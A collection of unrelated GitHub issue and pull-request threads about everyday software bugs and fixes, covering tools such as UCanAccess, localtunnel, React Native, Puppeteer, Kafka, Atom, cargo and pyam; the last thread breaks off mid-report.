Hello, I am using Microoft Access 97 version. When I use io.github.spannm 5.1.0 and below and net.sf.ucanaccess 5.0.1 and below, it prompts UCAExc:::5.1.0 Access 97 is supported in read-only. when inserting data. When using io.github.spannm 5.1.1 or above, it prompts incompatible data type in operation. I have compared the data types and found that there is no problem. JDK uses 17

@spannm 我尝试很多方式尚未解决, 您有更好的方法吗?

@spannm 我尝试很多方式尚未解决, 您有更好的方法吗?

Google Translate says:
"I have tried many ways but still can't solve it, do you have a better way?"

@yang351200 - Please open a new discussion and include a minimal reproducible example.
FWIW, the following Python code works for me:
import jaydebeapi

db_path = "a97table1.mdb"
cnxn = jaydebeapi.connect(
    jclassname="net.ucanaccess.jdbc.UcanaccessDriver",
    url=f"jdbc:ucanaccess://{db_path}",
    driver_args=["", ""],
    jars="/home/gord/Downloads/ucanaccess-5.1.2-uber.jar",
)
crsr = cnxn.cursor()

sql = "SELECT * FROM table1"
crsr.execute(sql)
print(list(x[0] for x in crsr.description))
"""
['ID', 'textCol', 'longCol', 'dateCol', 'memoCol']
"""
print(crsr.fetchall())
"""
[(1, 'Gord', 3, '1991-01-01 00:00:00', 'This is a test.')]
"""

@gordthompson Thanks, but I need Java.

@gordthompson  I found a plug-in that can process data in any version of Access. Do you want me to share it with you?


tunnel stop working after a while

Server is running the localtunnel server binary
My app is establishing a tunnel using the localtunnel_client::open_tunnel() API

It all works perfectly fine, but after a while if the tunnel is not used it stops working.
Here are the logs (using #35) on the server:
Aug 05 11:51:02 urithiru localtunnel[923346]: [2024-08-05T09:51:02Z TRACE mio::poll] registering event source with poller: token=Token(140044589388288), interests=READABLE | WRITABLE
Aug 05 11:51:02 urithiru localtunnel[923346]: [2024-08-05T09:51:02Z INFO  localtunnel_server] Accepted a new proxy request
Aug 05 11:51:02 urithiru localtunnel[923346]: [2024-08-05T09:51:02Z DEBUG localtunnel_server::proxy] Request hostname: meuth.karapulse.org
Aug 05 11:51:02 urithiru localtunnel[923346]: [2024-08-05T09:51:02Z DEBUG localtunnel_server::state] try using socket 9/100

Aug 05 11:52:02 urithiru localtunnel[923346]: [2024-08-05T09:52:02Z TRACE mio::poll] deregistering event source from poller
Aug 05 11:52:02 urithiru localtunnel[923346]: [2024-08-05T09:52:02Z ERROR localtunnel_server] Failed to serve connection: hyper::Error(IncompleteMessage)
Aug 05 11:52:02 urithiru localtunnel[923346]: [2024-08-05T09:52:02Z TRACE mio::poll] deregistering event source from poller

Nothing is log in the app so I think the server does not send anything to it.
Also the sockets are not given back to the pool so it will eventually run out of connections.
Any idea what could cause this problem or how to debug it?

It may relates to the network changes broken the tunnel, there is no logic to handle this situation.

It may relates to the network changes broken the tunnel, there is no logic to handle this scenario.

I don't think so. The server has a static IP and my app is running on my desktop whose (public) IP is not changing much.
It' quite easy to reproduce, I just have to not use the tunnel for 20 minutes or so.

My app is establishing a tunnel using the localtunnel_client::open_tunnel() API

Actually I can reproduce this problem using the localtunnel CLI client as well:

start server
start client
let it rest for 30 minutes then try using the tunnel

@kaichaosun that does work for you?

Here are nginx  logs when this problem happens. Not sure what it means exactly.
2024/08/05 15:24:31 [error] 935764#935764: *48 connect() failed (111: Connection refused) while connecting to upstream, client: <IP_ADDRESS>, server: *.karapulse.org, request: "GET / HTTP/1.1", upstream: "http://[::1]:3001/", host: "soebly.karapulse.org"
2024/08/05 15:24:31 [debug] 935764#935764: *48 http next upstream, 2
2024/08/05 15:24:31 [debug] 935764#935764: *48 free rr peer 2 4
2024/08/05 15:24:31 [warn] 935764#935764: *48 upstream server temporarily disabled while connecting to upstream, client: <IP_ADDRESS>, server: *.karapulse.org, request: "GET / HTTP/1.1", upstream: "http://[::1]:3001/", host: "soebly.karapulse.org"

So I guess this may actually be a nginx problem?
@kaichaosun  do you have a nginx configuration working reliably by any chance? Here is mine.
server {
  listen 80;
  listen [::]:80;
  server_name *.karapulse.org;
  return 301 https://$host$request_uri;
}

server {
  listen 443 ssl;
  server_name tunnel.karapulse.org;

  access_log /var/log/nginx/karapulse-tunnel.access.log;
  error_log /var/log/nginx/karapulse-tunnel.error.log debug;

  ssl_certificate /etc/letsencrypt/live/karapulse.org/fullchain.pem;
  ssl_certificate_key  /etc/letsencrypt/live/karapulse.org/privkey.pem;
  include /etc/letsencrypt/options-ssl-nginx.conf;
  ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem;

  location / {
    proxy_pass http://localhost:3000;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_set_header Host $host;
  }
}

server {
  listen 443 ssl;
  server_name *.karapulse.org;

  access_log /var/log/nginx/karapulse-tunnel.access.log;
  error_log /var/log/nginx/karapulse-tunnel.error.log debug;

  ssl_certificate /etc/letsencrypt/live/karapulse.org/fullchain.pem;
  ssl_certificate_key  /etc/letsencrypt/live/karapulse.org/privkey.pem;
  include /etc/letsencrypt/options-ssl-nginx.conf;
  ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem;

  location / {
    proxy_pass http://localhost:3001;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_set_header Host $host;
  }
}

So I guess this may actually be a nginx problem?

Actually maybe not.
I have the same problem when trying to connect directly to the tunnel server by connecting directly to port 3001 and by passing nginx .

@gdesmott I haven't been running it for quite a while, will look into it when I'm free. For now you can probably restart the connection on client side once a while.


Not able to use --simulator when a device is plugged trough USB

Description
I use an AirPad as side car and even triggering react-native run-ios --simulator="iPhone 14 Pro" the CLI still tries to build and install the app on the iPad
Version
0.71.1
Output of npx react-native info
info Fetching system and libraries information...
System:
OS: macOS 13.1
CPU: (10) arm64 Apple M1 Max
Memory: 1.14 GB / 32.00 GB
Shell: 5.8.1 - /bin/zsh
Binaries:
Node: 16.17.1 - ~/.nvm/versions/node/v16.17.1/bin/node
Yarn: 1.22.19 - ~/projects/primal/primal-app/node_modules/.bin/yarn
npm: 8.15.0 - ~/.nvm/versions/node/v16.17.1/bin/npm
Watchman: Not Found
Managers:
CocoaPods: 1.11.3 - /opt/homebrew/bin/pod
SDKs:
iOS SDK:
Platforms: DriverKit 22.2, iOS 16.2, macOS 13.1, tvOS 16.1, watchOS 9.1
Android SDK: Not Found
IDEs:
Android Studio: 2021.3 AI-213.7172.25.2113.9123335
Xcode: 14.2/14C18 - /usr/bin/xcodebuild
Languages:
Java: <IP_ADDRESS> - /opt/homebrew/bin/javac
npmPackages:
@react-native-community/cli: Not Found
react: Not Found
react-native: Not Found
react-native-macos: Not Found
npmGlobalPackages:
react-native: Not Found
Steps to reproduce
With an USB plugged device try to run on simulator react-native run-ios --simulator="iPhone 14 Pro"
Snack, code example, screenshot, or link to a repository

Destination showed is the iPad address

[build] info Found Xcode workspace "mobile.xcworkspace"
[build] info Found booted MacBook Pro
[build] info Building (using "xcodebuild -workspace mobile.xcworkspace -configuration Debug -scheme mobile -destination id=DDE54B8C-3398-566D-A929-C18D2E1D8FBB")
[build] - Building the app......
[build] error Failed to build iOS project. We ran "xcodebuild" command but it exited with error code 70. To debug build logs further, consider building your app with Xcode.app, by opening mobile.xcworkspace.
[build] Command line invocation:
[build]     /Applications/Xcode.app/Contents/Developer/usr/bin/xcodebuild -workspace mobile.xcworkspace -configuration Debug -scheme mobile -destination id=DDE54B8C-3398-566D-A929-C18D2E1D8FBB
[build]
[build] User defaults from command line:
[build]     IDEPackageSupportUseBuiltinSCM = YES

Also seeing this when building in the CLI. Building in Xcode directly works fine.

I see the same behavior if the device is detected through network that is enabled for development.

That's a bug @ react-native-cli. We're currently working on it and have a fix soon :)

@adamTrz great!

Let's close this issue 😄 cc. @cortinico


Unable to automate the alert popup

Expected behavior
OK or Cancel button in the alert popup should be clicked automatically in taiko-gauge.
Actual behavior
Unable to click or automate
Steps to reproduce
This is limited to company standards so cannot mention the steps to reproduce.
Versions
Paste node and taiko versions here.
node - 12.7.0
taiko - 0.0.1

@tariquesalat386 It looks like you need to override some permissions to on your url.
Please look at https://taiko-preview.gauge.org/#overridepermissions to override them.

@tariquesalat386 It looks like you need to override some permissions to on your url.
Please look at https://taiko-preview.gauge.org/#overridepermissions to override them.

@nehashri yes I tried by overriding permission as
await overridePermissions('site-name'); but still it isn't working

@nehashri yes I tried by overriding permission as
await overridePermissions('site-name'); but still it isn't working

@tariquesalat386  you need to set override Permissions with a type ex-
await overridePermissions('<url>',['geolocation']);
Please look at this conversation, which may help you to resolve the issue.
https://spectrum.chat/taiko/general/hi-all-is-there-a-way-to-click-alert-style-pop-up-box-using-taiko~7bdb9977-a409-4d86-9e89-03768a252329

Closing this issue as you start a new thread in https://spectrum.chat/taiko/general/unable-to-automate-alert-popup-in-taiko~fe99fa46-d6f7-4837-b418-ef770f87fb6b. Let us know the issue is resolved or you're still facing the issue with the alert popup.

I wish so much the entire discussion would have been kept in the same space. Now spectrum.chat is disabled, gitter.im is non existent and instead of keeping documentation in one reliable place it is lost forever and I will have to open a new issue ticket for the same thing without having a chance to try what was already tried and could have worked


[Service Bus] Move Move scheduledMessageCount to TopicRuntimeProps from SubscriptionRuntimeProps

Issue #10241

/azp run js - servicebus - tests


some youtube page can not display well

Steps to reproduce
Tell us about your environment:

Puppeteer version: 1.14.0
Platform / OS version: ubuntu 18.04
URLs (if applicable): https://www.youtube.com/watch?v=JBXhHt5HAVw
Node.js version: v11.13.0

What steps will reproduce the problem?
What is the expected result?
Can display video well.
What happens instead?
Can not display video.

The following works for me:
const puppeteer = require('puppeteer');

(async () => {
  const browser = await puppeteer.launch({headless: false});
  const page = await browser.newPage();
  await page.goto('https://www.youtube.com/watch?v=JBXhHt5HAVw');
})();

sorry, my mistake, the url should be https://www.youtube.com/watch?v=BoCt6yLTHy8
it will say yt can not support this kind of. video

@wisenight ah, that's because Chromium doesn't support all video formats; see FAQ:What features does Puppeteer not support? for details.
You'd need to connect to Chrome instead. Check out here on how to pick correct Puppeteer version for your Chrome version.
Hope this helps.


display short build artifact URL if available

Checklist

[x] I've added an entry to CHANGELOG.md if necessary.
[ ] I've tagged the changelog entry with [EAS BUILD API] if it's a part of a breaking change to EAS Build API (only possible when updating @expo/eas-build-job package).

Why
https://github.com/expo/universe/pull/7779 exposes short build artifact URL via GraphQL. This PR makes use of the new field.
How
I updated the generated GraphQL code and updated all places using artifacts.buildUrl with artifacts.shortBuildUrl ?? artifacts.buildUrl
Test Plan

I'm closing this PR as it's not needed anymore. See https://github.com/expo/universe/pull/7779 for the context. We'll change the value of buildUrl on the fly.


KAFKA-3806: Increase offsets retention default to 7 days (KIP-186)

Committer Checklist (excluded from commit message)

[ ] Verify design and implementation
[ ] Verify test coverage and CI build status
[ ] Verify documentation (including upgrade notes)

@ijuma Added. We didn't have 1.2 upgrade notes yet so I made the copy of the sections to get it started, though really the part relevant for this KIP is just the one line. Not sure how we want to deal with the rest of the upgrade section -- I'm not certain but I think we don't have any protocol changes yet for 1.2? Do we just leave it as a copy for now and then nearer release figure out if it can be simplified?
More generally, should we maybe consider dropping the many copies and instead only have the notes for the current version (still include notes about upgrade path for older versions, but not preserve the upgrade notes for, e.g., 0.11.x in this same doc? We have versioned docs on the website anyway, so it seems like users could refer to the docs for the particular version they are trying to use.

@ewencp I think what you have there is fine, we can update them as needed later. The main thing is to ensure the one line is captured. :) Yeah, we could potentially clean up the upgrade notes, but probably in a separate PR/JIRA.

@ewencp Note the the failing test likely needs an update.

@hachikuji Sigh, thanks for the heads up. I had checked the unit tests locally assuming this should be covered by one of them...

Oops, looks like I was a bit overeager in merging this before the vote had passed. I doubt there will be any votes against the KIP, but I'm happy to revert it if the vote doesn't pass.


bug not listing

I am buying rare gold players, defenders and there are some without a list.

some players go unlisted

@joselito3333 , there are chances , where when we send a request to list a player EA might reject the request for sending too many request .Those cards will be in trade list and will get listed again after 30 mins if you have Auto List option turned on.


Timestamp::saturating_add misbehaves if the span contains calendar units

let now = Timestamp::now();
let span = 1.day();
println!("{}", now.saturating_add(span));

Expectation: Error, panic or some other indication that addition failed.
Actual result: 9999-12-30T22:00:00.999999999Z

Thank you for catching this. This was a bad oversight on my part. I think I had written the saturating method routine before I smoothed out the error cases for checked arithmetic. This will indeed mean that Timestamp::saturating_add should return an error. I might make it panic in the interim before a jiff 0.2 release.
This also motivates #21, because with an "absolute" duration, we can provide infallible saturating arithmetic on Timestamp.


Uncaught TypeError: decorationIterator.getCloseScopeIds is not a function

Prerequisites

[x] Put an X between the brackets on this line if you have done all of the following:

Reproduced the problem in Safe Mode: http://flight-manual.atom.io/hacking-atom/sections/debugging/#using-safe-mode
Followed all applicable steps in the debugging guide: http://flight-manual.atom.io/hacking-atom/sections/debugging/
Checked the FAQs on the message board for common solutions: https://discuss.atom.io/c/faq
Checked that your issue isn't already filed: https://github.com/issues?utf8=✓&q=is%3Aissue+user%3Aatom
Checked that there is not already an Atom package that provides the described functionality: https://atom.io/packages

Description
Atom is failing to launch and leaving the following stack in the console:
<embedded>:112032 Uncaught (in promise) TypeError: decorationIterator.getCloseScopeIds is not a function
    at ScreenLineBuilder.emitDecorationBoundaries (/Applications/Atom.app/Contents/Resources/app/node_modules/text-buffer/lib/screen-line-builder.js:213:1)
    at ScreenLineBuilder.buildScreenLines (/Applications/Atom.app/Contents/Resources/app/node_modules/text-buffer/lib/screen-line-builder.js:121:1)
    at DisplayLayer.getScreenLines (/Applications/Atom.app/Contents/Resources/app/node_modules/text-buffer/lib/display-layer.js:630:1)
    at TextEditorPresenter.<anonymous> (/Applications/Atom.app/Contents/Resources/app/src/text-editor-presenter.js:1371:1)
    at TextEditorPresenter.module.exports.TextEditorPresenter.updateLines (/Applications/Atom.app/Contents/Resources/app/src/text-editor-presenter.js:1378:1)
    at TextEditorPresenter.module.exports.TextEditorPresenter.getPreMeasurementState (/Applications/Atom.app/Contents/Resources/app/src/text-editor-presenter.js:123:1)
    at TextEditorComponent.module.exports.TextEditorComponent.updateSyncPreMeasurement (/Applications/Atom.app/Contents/Resources/app/src/text-editor-component.js:266:1)
    at TextEditorComponent.module.exports.TextEditorComponent.updateSync (/Applications/Atom.app/Contents/Resources/app/src/text-editor-component.js:198:1)
    at new TextEditorComponent (/Applications/Atom.app/Contents/Resources/app/src/text-editor-component.js:172:1)
    at atom-text-editor.TextEditorElement.mountComponent (/Applications/Atom.app/Contents/Resources/app/src/text-editor-element.js:203:24)
    at atom-text-editor.TextEditorElement.setModel (/Applications/Atom.app/Contents/Resources/app/src/text-editor-element.js:147:12)
    at atom-text-editor.TextEditorElement.initialize (/Applications/Atom.app/Contents/Resources/app/src/text-editor-element.js:133:12)
    at TextEditor.module.exports.TextEditor.getElement (/Applications/Atom.app/Contents/Resources/app/src/text-editor.js:3332:1)
    at ViewRegistry.module.exports.ViewRegistry.createView (/Applications/Atom.app/Contents/Resources/app/src/view-registry.js:100:1)
    at ViewRegistry.module.exports.ViewRegistry.getView (/Applications/Atom.app/Contents/Resources/app/src/view-registry.js:88:1)
    at atom-pane.PaneElement.activeItemChanged (/Applications/Atom.app/Contents/Resources/app/src/pane-element.js:136:29)
    at Pane.module.exports.Pane.observeActiveItem (/Applications/Atom.app/Contents/Resources/app/src/pane.js:259:1)
    at atom-pane.PaneElement.initialize (/Applications/Atom.app/Contents/Resources/app/src/pane-element.js:103:41)
    at Pane.module.exports.Pane.getElement (/Applications/Atom.app/Contents/Resources/app/src/pane.js:94:1)
    at ViewRegistry.module.exports.ViewRegistry.createView (/Applications/Atom.app/Contents/Resources/app/src/view-registry.js:100:1)
    at ViewRegistry.module.exports.ViewRegistry.getView (/Applications/Atom.app/Contents/Resources/app/src/view-registry.js:88:1)
    at atom-pane-container.module.exports.PaneContainerElement.rootChanged (/Applications/Atom.app/Contents/Resources/app/src/pane-container-element.js:41:27)
    at Function.module.exports.Emitter.simpleDispatch (/Applications/Atom.app/Contents/Resources/app/node_modules/event-kit/lib/emitter.js:25:1)
    at Emitter.module.exports.Emitter.emit (/Applications/Atom.app/Contents/Resources/app/node_modules/event-kit/lib/emitter.js:141:1)
    at PaneContainer.setRoot (/Applications/Atom.app/Contents/Resources/app/src/pane-container.js:135:1)
    at PaneContainer.deserialize (/Applications/Atom.app/Contents/Resources/app/src/pane-container.js:55:1)
    at WorkspaceCenter.deserialize (/Applications/Atom.app/Contents/Resources/app/src/workspace-center.js:30:1)
    at Workspace.deserialize (/Applications/Atom.app/Contents/Resources/app/src/workspace.js:414:1)
    at AtomEnvironment.module.exports.AtomEnvironment.deserialize (/Applications/Atom.app/Contents/Resources/app/src/atom-environment.js:1227:1)
    at /Applications/Atom.app/Contents/Resources/app/src/atom-environment.js:815:1

Steps to Reproduce
Open Atom on a project directory that contains saved state:
$ atom .

The problem also occurs in safe mode. Using --clear-window-state suppresses it for that run, but it reappears immediately afterward.
Expected behavior: Atom should launch successfully and display the tree view and background tips, restore saved state, and so on.
Actual behavior: Window remains blank and there's an exception in the console.
Reproduces how often: 100% on workspaces that were serialized recently (within the last day or so), never on workspaces that I haven't opened for a while.
Versions
MacOS Sierra, 10.12.4
$ atom --version
Atom    : 1.18.0-dev-5d57ecb8c
Electron: 1.3.15
Chrome  : 52.0.2743.82
Node    : 6.5.0
$ apm --version
apm  1.18.1
npm  3.10.10
node 6.9.5 x64
python 2.7.13
git 2.12.2

Additional Information
I'd guess that this is just an incompatible change in the way that editor state is serialized to IndexDB, but I'm suspicious because it reoccurs after a --clear-window-state.

Renamed the title so that Notifications can detect this as a duplicate.


chore(CPlusPlus): add return string subsequences

PR Checklist:

[x] My submission is formatted according to the guidelines in the contributing guide
[x] My addition is on refer on the language README.md file
[x] My addition does not have a spelling problem
[x] My submission has a proper and user-friendly description of the algorithm
[ ] My submission has the time complexity of the algorithm
[x] My submission has sample input-output of the program (NOT FOR PYTHON)

What kind of change does this PR introduce? (check at least one)

[ ] Bugfix
[x] New algorithm
[ ] Optimization in previous algorithms
[ ] Code style update
[ ] Refactor
[ ] Documentation
[ ] Other, please describe:

Briefly describe the changes in this PR
Return String Subsequences using Recursion

Other information:

Along with changes suggested, make sure you also update the required README.md index of Cplusplus dir with your creation in it.

Hi @vivekthedev,
Any update?


Refactor Transform.compose to have more specific typing

Refactored compose type signature from generic fn composition to shape-specific fn composition.

Applied suggestions from review, should be good to go!

Thanks! @FayCarsons


Add windows-gnu CI and fix tests

One remaining failure:
---- features::feature_off_dylib stdout ----
running `d:\a\1\s\target\debug\cargo.exe build --features f1`
running `d:\a\1\s\target\debug\cargo.exe run -p bar`
thread 'features::feature_off_dylib' panicked at '
Expected: execs
    but: exited with exit code: 101
--- stdout

--- stderr
   Compiling foo v0.0.1 (D:\a\1\s\target\cit\t663\foo)
   Compiling bar v0.0.1 (D:\a\1\s\target\cit\t663\foo\bar)
    Finished dev [unoptimized + debuginfo] target(s) in 0.69s
     Running `target\debug\bar.exe`
thread 'main' panicked at 'assertion failed: `(left == right)`
  left: `"f1"`,
 right: `"no f1"`', bar\src\main.rs:5:17
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
error: process didn't exit successfully: `target\debug\bar.exe` (exit code: 101)
', crates\cargo-test-support\src\lib.rs:833:13
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace

failures:
    features::feature_off_dylib

I disassembled the dylibs and cargo run -p bar correctly rebuilt it inside target/debug/deps/ but did not copy it to target/debug. To further confirm, calling cp target/debug/deps/foo.dll target/debug/ manually solved the issue.
Any idea?

I left FIXME in places where import lib should be added with https://github.com/rust-lang/cargo/pull/6875.
TOOLCHAIN: nightly-x86_64-pc-windows-gnu can be replaced with beta on Thursday.

r? @Eh2406
(rust_highfive has picked a reviewer for you, use r? to override)

r? @ehuss

Hm, so there's more detail in #6167 where that test was introduced.  Dependency DLL's are not copied into target/debug. This can be a problem if there are DLL's in that directory from running other cargo commands (see #6162 for an example where that can happen).  The fix that was implemented relies on the order of directories in PATH (target/debug/deps is first, which contains all the latest DLLs).
I'm a bit confused why the gnu toolchain has a different search order. I tried to find something useful in https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order, but that only confused me more.  It says "The directory from which the application loaded." is first, so I would assume that test should fail with MSVC (we launch the executable in target/debug which has the old foo.dll).
So, anyways, I'm guessing something in the GNU setup is changing the search order to include the binary's directory before PATH.
One possibility is to go with option 3 described at https://github.com/rust-lang/cargo/issues/6162#issuecomment-428785744, where all dependency DLLs should be copied to target/debug.  I'm not sure how hard that is to implement.
"Uplifting" is done here.  The outputs of each unit are computed in calc_outputs_rustc.  The decision to only uplift the "root" units is done here.  Maybe that should also say || unit.target.is_dylib()?  That way every DLL for each dependency will get copied to target/debug.

MinGW and MSVC both use the same library loader from the OS.
Somehow MSVC creates hardlinks but MinGW copies foo.dll:
$ fsutil hardlink list target/debug/foo.dll
\cargo\target\cit\t663\foo\target\debug\foo.dll

$ fsutil hardlink list target/x86_64-pc-windows-msvc/debug/foo.dll
\cargo\target\cit\t663\foo\target\x86_64-pc-windows-msvc\debug\deps\foo.dll
\cargo\target\cit\t663\foo\target\x86_64-pc-windows-msvc\debug\foo.dll

Ah, good observation.  My guess would be a difference in linker behavior.  In the presence of an existing file, MSVC probably truncates and modifies, preserving the hardlink, whereas gnu probably replaces the file, breaking the hardlink (at least, that's my guess).
Awesome, thanks for helping!

@bors r+

:pushpin: Commit 2dd0b0d082ca55d1e8645ed569c094cf5c1e5d7d has been approved by ehuss

:hourglass: Testing commit 2dd0b0d082ca55d1e8645ed569c094cf5c1e5d7d with merge 97d39aeaac7e0ec2f09c3a03909b2f2c68d970f5...

In the presence of an existing file, MSVC probably truncates and modifies, preserving the hardlink, whereas gnu probably replaces the file, breaking the hardlink (at least, that's my guess).

I had tested LLD before and it failed the same way with gnu target. Lld-link with msvc target had no errors.

:sunny: Test successful - checks-azure
Approved by: ehuss
Pushing 97d39aeaac7e0ec2f09c3a03909b2f2c68d970f5 to master...


Various build fixes to get llbuild to build with SPM on Windows

This should be rebased upon #873.  It simultaneously requires apple/swift-package-manager#6345 to get the fix for the .. header search path handling corrected.  Update the build rules for GTest to avoid duplicate definitions, add build rules for GMock, update the tests to use GMock as a dependency.  This set of updates enables building llbuild with SPM on Windows (with some minor hand holding for SQLite and overlinking of swiftrt.obj).

@swift-ci please test

@swift-ci please smoke test


Readme: It's All Ghosts link seems dead

https://edugit.org/nik/itsallghosts says "Unable to connect".

Some trace sits at https://pypi.org/project/ItsAllGhosts/ , which installed in pip3 --user but failed to run on Python 3.7.4.

Thank you for the report! It's a third-party package and it's not supported here


WIP: new forms in examples

…as discussed in #360 .

One place I thought might do with some syntactic sugar is getting at the coordinates, e.g. in the Legendre example, or the parabolic Poiseuille inlet profile, or the 4×4 matrix transformation in #357. I think I had to write something like w['x'].values[1] to get at y. Is there a better way that I've overlooked?


Fix Datasets --trust_remote_code

closes #1932 .
Basically, datasets.config.HF_DATASETS_TRUST_REMOTE_CODE is set using the preexisting environment variable value before these lines run: https://github.com/EleutherAI/lm-evaluation-harness/blob/78a54e1448ccb8c05ab3e83c110e0386316206a2/lm_eval/main.py#L356-L361
and so although we set the environment variable "HF_DATASETS_TRUST_REMOTE_CODE", it's not seen by datasets, and so --trust_remote_code isn't respected.
This PR accesses and overwrites datasets.config.HF_DATASETS_TRUST_REMOTE_CODE directly.
cc @lhoestq just wanted to confirm whether this sort of direct access and setting of datasets.config attributes is an acceptable interaction with the library!

That's the datasets.config intended usage ! :)
No need to modify os.environ btw unless you do some sort of multiprocessing and want it to be passed to subprocesses

Ah fantastic! Thanks very much! And yep, we'll definitely encourage no-remote-code when possible.
cc @lintangsutawika this is ready for review!


[TRI-712] Create an ESLint plugin to make sure task keys are unique inside a Job run function

Accidentally using duplicate task keys inside an individual job can lead to unexpected results (see our docs for more info: https://trigger.dev/docs/documentation/concepts/resumability). It would be great to create an ESLint plugin that can detect this.
TRI-712

/attempt #206

/attempt #206

@ericallam just to confirm. I should be doing this inside config-packages/eslint-config-custom, right?

@ericallam could you please verify below test-cases should works for the plugin-rule or maybe I'm missing any rule.

Test Cases
/**
 * @fileoverview No Unique key
 * @author no-unique-key
 */
"use strict";

//------------------------------------------------------------------------------
// Requirements
//------------------------------------------------------------------------------

const rule = require("../../../lib/rules/no-unique-key"),
  RuleTester = require("eslint").RuleTester;

//------------------------------------------------------------------------------
// Tests
//------------------------------------------------------------------------------

const ruleTester = new RuleTester({ parserOptions: { ecmaVersion: 2018 } });
ruleTester.run("no-unique-key", rule, {
  valid: [
    // give me some code that won't trigger a warning
    {
      code: `
      new Job(client, {
        id: "event-1",
        name: "Run when the foo.bar event happens",
        version: "0.0.1",
        trigger: eventTrigger({
          name: "foo.bar",
        }),
        run: async (payload, io, ctx) => {
          await io.slack.postMessage("⭐ New Star", {
            channel: "C04GWUTDC3W",
            text: 'hello'
          });
        },
      });
      `,
    },
    {
      code: `
      const runJob  = async (payload, io, ctx) => {
        await io.slack.postMessage("⭐ New Star", {
          channel: "C04GWUTDC3W",
          text: 'hello'
        });
      }
      new Job(client, {
        id: "event-1",
        name: "Run when the foo.bar event happens",
        version: "0.0.1",
        trigger: eventTrigger({
          name: "foo.bar",
        }),
        run: runJob
      });
      `,
    },
  ],

  invalid: [
    {
      code: `
      new Job(client, {
        id: "event-1",
        name: "Run when the foo.bar event happens",
        version: "0.0.1",
        trigger: eventTrigger({
          name: "foo.bar",
        }),
        run: async (payload, io, ctx) => {
          await io.slack.postMessage("⭐ New Star", {
            channel: "C04GWUTDC3W",
            text: 'hello'
          });
          await io.slack.postMessage("⭐ New Star", {
            channel: "C04GWUTDC3W",
            text: 'hello'
          });
        },
      });
      `,
      errors: [
        {
          message:
            "'⭐ New Star' key already exists please use different keys to execute the job",
        },
      ],
    },
  ],
});

/attempt #206

There's anything missing to close this @ericallam @matt-aitken?

Can we close it, guys? @matt-aitken @ericallam


When search field is list, we should display text

Hi there!
When the search field is a list, the text should be displayed, not the value (unless they match)

@vitmalina thanks!


[SPARK-20813][Web UI] Fixed Web UI executor page tab search by status not working

What changes were proposed in this pull request?
On status column of the table, I removed the condition  that forced only the display value to take on values Active, Blacklisted and Dead.
Before the removal, values used for sort and filter was True and False.
How was this patch tested?
Tested with Active, Blacklisted and Dead present as current status.

Can one of the admins verify this patch?

Nice catch, I'm not sure what @kishorvpatil 's original reason for blocking it from search like that was but this is good

Test build #3748 has started for PR 18036 at commit 2e0fdea.

Test build #3748 has finished for PR 18036 at commit 2e0fdea.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Merged to master/2.2


Ensure AutoImportProviderProject can share source files with main program

Fixes a duplicate auto-import completions bug I noticed while working on #44295, caused by differing compiler options causing the AutoImportProviderProject not to share source files with its host Project.
It looks like those options (types, lib, and noLib) are actually misclassified as affecting module resolution, and @sheetalkamat is opening a PR to fix that (extracting work from #41004). Once that’s fixed, the bug will be fixed, and I can revert the part of this PR that is actually a substantive behavior change. The primary value of this PR is structuring the config in such a way that the overriding options can be tested against sourceFileAffectingCompilerOptions and adding that test.

Did this PR mean to reference something other than #44295?

Yes, but I no longer recall what 🤔


WIP: 3-ci-srv-03: [no-test] Check for NPM dependency updates

Check for any outstanding update of point version of any outstanding NPM package dependency

[ ] npm-update

npm-update in progress on 3-ci-srv-03.
Log: https://<IP_ADDRESS>:8493/logs/npm-update-784-20190918-045050/

npm-update in progress on 4-ci-srv-06.
Log: https://<IP_ADDRESS>:8493/logs/npm-update-784-20190918-045050/

npm-update @babel/polyfill done: https://github.com/cockpituous/welder-web/commits/npm-update-@babel/polyfill-20190918-045151

Command '('git', 'push', 'https://github.com/cockpituous/welder-web', '+HEADNone/heads/npm-update-@babel/polyfill-20190918-045151')' returned non-zero exit status 1.: https://<IP_ADDRESS>:8493/logs/npm-update-784-20190918-045050/

Please manually check features related to these files:
package.json:    "@babel/polyfill": "7.6.0",
webpack.config.js:  // redux-saga uses generators, babel compiles using regenerator runtime included in @babel/polyfill
webpack.config.js:  entry: ["@babel/polyfill", "./main.js"],

Codecov Report

Merging #784 into master will decrease coverage by 0.14%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##           master     #784      +/-   ##
==========================================
- Coverage   78.66%   78.51%   -0.15%
==========================================
  Files          67       67
  Lines        3379     3379
  Branches      707      707
==========================================
- Hits         2658     2653       -5
- Misses        721      726       +5

Impacted Files
Coverage Δ

components/Form/Password.js
85.71% <0%> (-2.39%)
:arrow_down:

core/sagas/inputs.js
71.42% <0%> (-1.03%)
:arrow_down:

core/selectors.js
92.96% <0%> (-0.79%)
:arrow_down:

core/sagas/blueprints.js
73.57% <0%> (-0.52%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 050c79a...524bc3b. Read the comment docs.

Some edge flake due to "unreachable host", retrying


Filter strict - only return data which matches exact combination of all arguments

I'm dealing with some messy data, including models that have missing regions, variables and years.
If I filter on a sub-set of regions, I'm returned all the data which matches at least one of those regions (and the same for the other dimensions).
However, I only want to return the model, scenario and variable rows which match ALL the regions I pass in.
One idea is to add a strict=False flag to the .filter() method.  If strict == True, then only data which matches all the arguments is returned for each model-scenario-variable group.

If I understand you correctly, you want to have the data only for those model-scenario combinations where data for all regions is present, right?
Maybe the following can be helpful:
_df = df.filter(variable=[<list of variables>]

for r in [<list of regions>]:
    _df.require_data(region=r, exclude_on_fail=True)

_df.filter(exclude=False, inplace=True)

The exclude_on_fail-flag (available in all validation methods) sets the meta-indicator exclude to True for all scenarios that fail the validation. You can iterate the require_data() method and then remove all scenarios that failed at least one region-requirement.

But of course, having a strict-filter option could be useful, but the devil is in the details of the implementation, I guess...

Can I close this issue @willu47?

Yep


When importing specific youtube playlist, it will cause error when playing

A user told me that when trying to import following youtube playlist and play the first song will break Kaku :
